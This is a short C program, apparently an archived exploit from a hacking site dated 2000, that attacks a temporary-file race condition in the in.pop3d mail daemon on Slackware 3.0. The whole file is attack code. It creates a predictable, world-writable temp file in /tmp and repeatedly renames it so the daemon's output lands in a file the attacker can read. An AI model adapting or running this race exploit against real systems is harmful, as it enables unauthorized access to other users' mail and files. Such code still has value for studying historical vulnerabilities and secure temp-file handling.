/* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d
   under Slackware 3.0), which can then be read by the program. 
   This race condition is NOT always successful, it may take extreme conditions
   to ensure a high probability of success.
 
   Dave M. (davem@cmu.edu)
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

main(int argc, char **argv)
{
  int race;
  int i;
  char fname[80], tmpf[80];    /* hold filename */

  umask(0);

  if(argc<1)
    {
      printf("pop3 racer\nSyntax: %s process-id\n",argv[0]);
      return -1;
    }

  /* create tmp file to race creating */
  strcpy(tmpf,"/tmp/pop3");
  for(i=strlen(argv[1]);i<6;i++)
    strcat(tmpf,"0");
  strcat(tmpf,argv[1]);
  tmpf[9] = 'a';

  race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);

  while(1)
    {
      rename(tmpf,"/tmp/pop.exploit");
      if(rename("/tmp/pop.exploit",tmpf) < 0)
        {
          printf("race lost - file created.\n"); /* catch 1/2 the losses */
          break;
        }
    }
}
/*                    www.hack.co.za              [2000]*/